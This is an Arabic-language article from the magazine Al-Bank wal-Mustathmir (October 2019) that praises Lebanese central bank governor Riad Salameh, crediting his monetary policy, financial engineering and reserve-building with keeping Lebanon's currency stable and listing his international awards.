مصرف لبنان مستمر في سياسة الاستقرار النقدي. الكلام يؤكده “سلامه” في كل مناسبة، وهو استطاع عبر سياسته النقدية في ظل الأزمة رفع احتياطاته من العمات على رغم تسديد المركزي مستحقات على الدولة. وفي قضية خفض تصنيف لبنان، ونتائجه المحتملة على الملاءة والخسائر المتوقعة، يعمل الحاكم على إصدار تعميم للمصارف سيتضمن رفعاً لنسبة تثقيل سندات اليوروبوندز من 100 % إلى 150 %. وسيبقي على نسبة تثقيل 50 % لودائع المصارف بالعملات الأجنبية لدى مصرف لبنان. وبالنتيجة، فقد يتراجع معدل الملاءة إلى حدود 12.5 % أو1%. وهو معدلّ أعلى من المعدلات الموصى بها في اتفاق بازل 3 أي 10.5 %. وعلى رغم الأزمة وتصنيفات الوكالات العالمية السلبية للبنان وبعض المصارف، استقطب لبنان خلال شهر آب/ أغسطس الماضي نحو 3 مليارات دولار أميركي، من بينها وديعة جديدة إلى القطاع المصرفي، ما يؤكّد ثقة المستثمرين بالقطاع وبالثبات النقدي القائم، وهو ما يؤدي الى استقرار الوضع وإلى زيادة الثقة بملاءة الدوّلة على الحكومة للقيام بإجراءات إصلاحية. الواضح أن الأسباب الرئيسية خلف هذه الودائع لا تعود فقط إلى أن القطاع المصرفي اللبناني يتمتّع بقدرة جذب إستثمارية مع فوائد عالية وإلتزام كامل بالقوانين الدوّلية، إنما إلى الثقة العالمية بحاكم مصرف لبنان “رياض سلامه” وقدرته على التواصل مع الأسواق المالية والمُستثمرين والجهات الدولية. والواقع، أن إجراءات مصرف لبنان وقدرة “سلامه” على زيادة الاحتياطات واستقطاب الودائع جنّب البلد احتمالات خطرة مالياً ونقدياً. وللدلالة على الثقة بالمصرف المركزي نُقل أن مؤسسة الخدمات المالية والاستثمارية الاميركية “غولدمان ساكس غروب” Goldman Sachs Group ، هي من أمّن وديعة ال 1.4 مليار دولار التي كشف عنها “سلامه”، فيما أدى مصرف SGBL دور الوسيط في العملية. وقد ارتفع احتياطي مصرف لبنان من العملات الأجنبية من دون الذهب بما يقارب 1.4 مليار دولار أميركي ليقارب في نهاية آب/أغسطس، 38.660 مليار دولار أميركي، وذلك بنتيجة تدفق ودائع مباشرة الى مصرف لبنان، من القطاع الخاص غير المقيم وليس من دول او جهات دولية، ما يعكس ثقة المودعين ويعزز الثقة بالليرة اللبنانية ويساهم بخفض العجز في ميزان المدفوعات.
ثقة الجهات المانحة
يتابع “سلامه” أيضاً علاقاته بالجهات المانحة والدول التي أعلنت دعمها لـ لبنان مالياً، خصوصاً باريس وقطر وأخيراً السعودية. وإذا كان على ما يبدو أن هناك قراراً سياسياً بتأكيد الدعم العربي لـ لبنان وإنه ليس متروكاً، فإن كل ما يحصل عليه لبنان هو فترة سماح سياسي تتجددّ لمنع الانهيار. ويعرف الداعمون أن هناك على سدة المسؤولية رجل إسمه “رياض سلامه” يمكن الثقة به لمنع الإنهيار، إذ أن الدعم ليس مكافأة لنظام منتج للأزمات. وإذا كان قرار الدول سياسي إلا أنه يصرف مالياً ونقدياً مع مصرف لبنان. ويستقطب “سلامه” شراء دول عربية إصدارات جديدة من سندات اليوروبوندز لسداد مستحقات دين بنحو مليار ونصف المليار دولار أميركي، مستحقة قبل نهاية السنة 2019 على لبنان، وإذا لم يحصل عليها سيتولى مصرف لبنان تحمل المسؤولية، إذ أن لبنان يحتاج إلى مال للخزينة ونقداً عبر أكثر من وديعة كبيرة. وبالفعل، عندما تعلن دولة عربية أنها ستساعد لبنان مالياً يتحسّن سعر أوراق الدين اللبنانية في الخارج مباشرة، وهو ما حصل حين إعلان قطر شراء سندات لبنانية بواقع 500 مليون دولار أميركي. وفي ظل المشكلات المالية ومراهنة لبنان على قروض “سيدر”، وعدم قدرة الحكومة على مواكبة العملية الإصلاحية المطلوبة، بدا أن حاكم مصرف لبنان يؤدي دور المنقذ، بالتوازي مع تشديده على ضرورة الإصلاح ومعالجة ارتفاع العجز في الموازنة لكن ما يقدمه “سلامه” ويسعى إليه لم يمنع البعض من مواصلة الحملات المغرضة، والتي تذكر بحملات أيلول/سبتمبر 2018 ، التي أسقطها اللبنانيون بعد احتضانهم الحاكم سلامه وتجديد ثقتهم به، وهو الذي كرّس كل حياته ووضع كل إمكاناته في خدمة لبنان،بدءاً من حمايةالنقد الى تعزيز صمود الاقتصاد والماليةالعامة،وشكل على مدى تاريخه صمام أمان للنقدوللاستقرار في البلد.
تحصين القطاع المصرفي
قاد رياض سلامه سياسة حمائية للمصرف جعلت من لبنان عصياً على الانهيار، وعملته الوطنية مستقرة بالرغم من كل الصعوبات والضغوط، لكن عندما تتراجع الجهود الإصلاحية وتدخل في دائرة التجاذب السياسي، يكثر التصويب في اتجاه قوّة لبنان الكامنة في “الاستقرار النقدي” بقيادة حاكم مصرف لبنان الذي يبقى “الدرع الواقي” للبلد وصموده في أعتى الأزمات. وقد كانت تدخلات المصرف المركزي صائبة في السنوات التي كان لبنان مهدداً فيها بالافلاس، وتلك التي مرّت على البلد خلال أكثر من عقدين، وهي حفظت النقد ولا تزال، ويلبي المركزي حاجات البلد المالية ويمول الدولة ويتلقى كل الضربات ويتحمل المسؤولية بكل ثقة. يعرف رياض سلامه أن لبنان يمر اليوم بأصعب الظروف وأكثرها خطورة، وهو يلمس مدى التضييق الذي يتعرض له البلد على كل المستويات، خصوصاً وأن الدولة عجزت عن وضع سياسة مالية واقتصادية لمواجهة العجز وخدمة الدين العام المرتفعة. الواقع، أن لبنان الذي ينتظر دعماً وإقراضاً من المجتمع الدولي ولا يستطيع أن يؤمن حاجاته إلا من مصرف لبنان، وذلك بسبب العجز في ميزان المدفوعات، يلجأ مسؤولوه دائماً الى المصرف المركزي، وهو الذي يأخذ المسؤولية على عاتقه ولا يترك البلد للإنهيار. المفارقة، أن اللحظة التي يعيشها البلد تختلف عن كل ما أصاب لبنان من أزمات، في ظل العقوبات والضغوط والارتفاع المقلق في نسبة الدين العام الى الناتج المحلي. لذا، عندما واكب رياض سلامه كل المؤتمرات السابقة لدعم لبنان بما فيها مؤتمرات باريس، لم تكن المخاوف على قدر الأخطار الحالية، لكنه لا يتراجع وهو الذي يستفيد من تجربته في مواجهة الأزمات، إذ ساهمت السياسة النقدية التي اتّبعها مصرف لبنان منذ 26 عاماً، في تحييد الليرة اللبنانية عن التقلبات السياسية والاقتصادية في كل الظروف، وفي الوقت نفسه دعمت الاقتصاد، كما أن الهندسات المالية التي رسمها المصرف بقيادة سلامه جنبّت لبنان مخاطر نقدية ورسخّت استقرار سعر الصرف الوطني ومكنّته من تقوية احتياطاته من العملات الأجنبية، في ظل عجز كبير في الموازنة العامة وتنامي الدين العام وانكماش عجلة الاقتصاد، علماً أن سلامه نفسه كان يؤكد في كل مناسبة أن خفض العجز هو السبيل لشق طريق حماية المالية والاستقرار وإعادة النهوض.
سياسات وهندسات مالية
قدم رياض سلامه منذ توليه حاكمية مصرف لبنان عام 1993 سياسات وهندسات مالية جديدة كان لها التأثير المباشر والدعم الإيجابي في حماية النقد الوطني والإستقرار الاقتصادي، كما ساهم في بناء صرح مصرفي ذي ثقة وشفافية، وكان لسياساته الدور الأبرز في دعم الاقتصاد اللبناني وتحفيز نموه بكل الوسائل والسياسات المتاحة التي ساهمت في تنشيط الاقتصاد ومنع تهاوي قطاعات أساسية في عزّ الأزمات والعواصف. وهو استحق لقب أفضل حاكم مصرف مركزي في العالم. نقلت حاكميته، وعلى مدى عقدين ونصف العقد، وعبر هندسات مالية حازت شهادات المجتمع الدولي، لبنان النقدي والمصرفي وحتى الاقتصادي والمالي من ضفةّ إلى أخرى، فحقق ما عجزت عنه دول شارفت على الإفلاس رغم برامج الدعم والإنقاذ. وقد استحق فعلاً قرار تجديد ولايته الرابعة بإجماع سياسي ووطني وشعبي أكد الثقة بسياساته التي حفظت للبنان نقداً وطنياً وقطاعاً مصرفياً قادراً على المنافسة في أسواق المنطقة. لكنه أيضاً ثبت سعر صرف الليرة اللبنانية، وحماها من التجاذبات السياسية في التسعينات من القرن الماضي، وتمكن من تحييدها خلال الخلافات التي كانت ثقيلة على النقد والمالية، وهو اليوم يواجه الصعاب ويعمل على تحييد النقد عن الأزمة بالرغم من كل الأزمات والضغوط.
ثبات النقد الوطني
لا يترك سلامه النقد الوطني للإنهيار، وهو مستمر في سياساته بالرغم من الحملات والتشكيك، فاستطاع حماية القطاع المصرفي وتطويره في لبنان، واكتسب سمعة كبرى في الشرق الأوسط وحول العالم وهو يؤمن سيولة للعديد من المشاريع المختلفة الحجم. وقد استندت الهندسة المالية التي يتبعها مصرف لبنان بقيادة رياض سلامه وتأثيرها على وضع الصناعة المصرفيّة في لبنان الى معايير لا يخفيها الحاكم. فهي انطلقت من الحرص على الالتزام بالمعايير الدولية لتسيير الأعمال المصرفيّة والمالية، حيث يتذكر المصرفيون التعاميم العديدة التي صدرت بدءاً بتثبت القاعدة القانونيّة لمكافحة تبييض الأموال، وأيضاً تلك المتعلّقة بمعايير بازل 3، حيث تمّ الاتفاق أن تصل نسبة الملاءة لدى القطاع المصرفي اللبناني إلى 12 % في عام 2015 . أمّا بالنسبة إلى مخاطر الائتمان، فالتدابير الاحترازيّة التي يعمّمها مصرف لبنان على المصارف كافية للحدّ من المخاطر. ومن المعايير، الحفاظ على مستوى سليم من السيولة في المصارف، وهو ما جنبها اليوم مخاطر محدقة بالبلد. وهو عمل على فصل المصارف التجاريّة عن مصارف الأعمال، باعتبار أنّها تقوم بأدوار مختلفة تماماً. وحسن نوعيّة العمل المصرفي بالتعاون مع المصارف، مع الحفاظ على الاستقرار التسليفي في لبنان، إضافة الى مراقبة الاستقرار المالي، ورصد المخاطر والأزمات المحتملة قبل وقوعها لاتّخاذ التدابير الاحترازيّة، وتطوير الثقافة المصرفيّة بهدف تطبيق مبادىء الإدارة الرشيدة. ومنذ التسعينات، أي منذ توليه حاكمية مصرف لبنان، تنوعت وسائل المركزي في تحقيق الاستقرار في أسعار الصرف. وكان فرض نسب احتياطي إلزامي ملائمة على الودائع لدى المصارف بالليرة اللبنانية والعملات الأجنبية لمساعدته في الإدارة الفعالة للسيولة والتسليف وتحقيق المنافسة بين التسليف بالعملة الوطنية وبالعمات الأجنبية ودعم دوره كمقرض أخير ولو بعملة غير عملته الوطنية. وعندما كانت الثقة تتزعزع بالدولة ومؤسساتها وتلامس في احيان كثيرة حدود الإنهيار، لم تتزعزع الثقة يوماً ب“مصرف لبنان” وسياسته المسؤولة ورؤيته الاستباقية للامور والازمات. وعندما كانت مؤسسات وشركات وطنية عريقة تواجه نكسات واخطاراً، لم يكن إلا “مصرف لبنان” ملاذاً وملجأ، حتى إذا ما وضع يده على المشكلة واخذ الامر على عاتقه وضعت المشكلة على سكة المعالجة الصحيحة والعلاج الشافي. وها هي الدولة كلها لا تخطو أي خطوة أو تتقدم من دون أن يكون للمصرف المركزي كلمة الفصل فيها.
الحاكم الأفضل عالمياً
حاز حاكم مصرف لبنان رياض سلامه مؤخراً للمرة الرابعة على درجة “ A” من بين 94 حاكم مصرف مركزي في العالم في تقرير عام 2019 لمجلة غلوبال فاينانس Global Finance وهي من أهم المجالات الاقتصادية في العالم، بعدما حاز على هذا التصنيف في أعوام 2011 ، 2017 و 2018 . وهذا يؤكد في ظل الأزمة الحالية أن الحاكم صمام أمان للبلد ومنقذ للسفينة من الغرق. وللتذكير أنه تمّ اختياره للسنة الثانية على التوالي، من بين أفضل 9 حكام مصارف مركزية في العالم من مجلة “غلوبال فاينينس” للسنة 2017 . ونال جائزة أحد أفضل حكام المصارف المركزية في العالم من مجلة “غلوبال فاينانس” للسنة 2016 . كما نال جائزة أفضل حاكم بنك مركزي في الشرق الأوسط للعام 2013 من مجموعة يوروماني الدولية. وأفضل حاكم مصرف مركزي في الشرق الأوسط للعام 2012 جائزة مجلة The Banker ، وجائزة مجلة Global Finance كأحد أفضل 6 حكام مصارف مركزية في العالم للعام 2011 . وحاز وسام جوقة الشرف من رتبة ضابط قلّده إياه رئيس الجمهورية الفرنسي الأسبق نيكولا ساركوزي بتاريخ 31 كانون الأول/ ديسمبر
.2009 اختير أفضل حاكم مصرف مركزي في الشرق الأوسط للعام 2009 ، وجائزة مجلة The Banker ، وأفضل حاكم مصرف مركزي في العالم للعام 2006 جائزة EUROMONEY . أفضل حاكم مصرف مركزي في الشرق الأوسط للعام 2005 جائزة EUROMONEY للأسواق الناشئة. أفضل حاكم مصرف مركزي للعام 2003 (رجل العام 2003 ) جائزة EUROMONEY . كذلك أفضل حاكم مصرف مركزي في العالم العربي للعام 1996 جائزة EUROMONEY وغيرها من الأوسمة والجوائز والتكريم.
إجراءات وإنجازات وترتيب الأولويات
أنقذ سلامه شركات عدة من الإفلاس، أبرزها شركة “طيران الشّرق الاوسط”. ومنصبه الدقيق، والأوضاع السياسية في لبنان والمنطقة والأزمات المالية والاقتصادية، لم توقفه عن اتخاذ القرارات الصائبة والخطوات المُنقِذة ولا أن يقوم بإنجازات وسط العواصف، ليرسو بالسفينة التي يقودها على برّ الأمان، فيُسجّل له نجاحه في تأمين الاستقرار المالي والنقدي طيلة سنوات ولايته في حاكمية مصرف لبنان، ولا يزال حتى الساعة، وإعادة بناء وترتيب وضع القطاع المصرفي الذي أمسى اليوم قطاعاً محصناً ضد الأزمات. وها هو اليوم لا ييأس ولا يتوقف، وهمه الأساسي والأول حماية لبنان. ولا تقف إنجازات رياض سامه عند حدود، فهو اتخذ إجراءات لضمان التمويل مثل تحديد نسبة القروض إلى القيمة، وضع سقف لنسبة القروض المُتعثّرة قبل تدخّل مصرف لبنان المركزي، وتحصين ميزانية المصارف عبر رفع السيولة، الإحتياطات الإلزامية، تحديد وجهات إستثمار المصارف، وإلتزام المصارف بالمعايير الدوّلية، وتدعيم تدفقات رؤوس الأموال خصوصاً الداخلة إلى لبنان وهي بالعملة الصعبة، ما يسمح بتمويل الاقتصاد ودعم الليرة اللبنانية وخفض عجز ميزان المدفوعات. ولم يغب عن سامه الشق الاجتماعي، إذ قام بدعم القروض السكنية، إضافة إلى قروض للقطاعات الإنتاجية. وبذلك تمكن لبنان من الصمود ومواجهة الزلازل، فهل تساعد الحكومة رياض سلامه للعبور من الازمة الأخطر اليوم ؟
مجلة البنك والمستثمر
العدد 226 تشرين الاول2019
The post رياض سلامه المنقذ الأخير للنقد appeared first on البنك و المستثمر.
]]>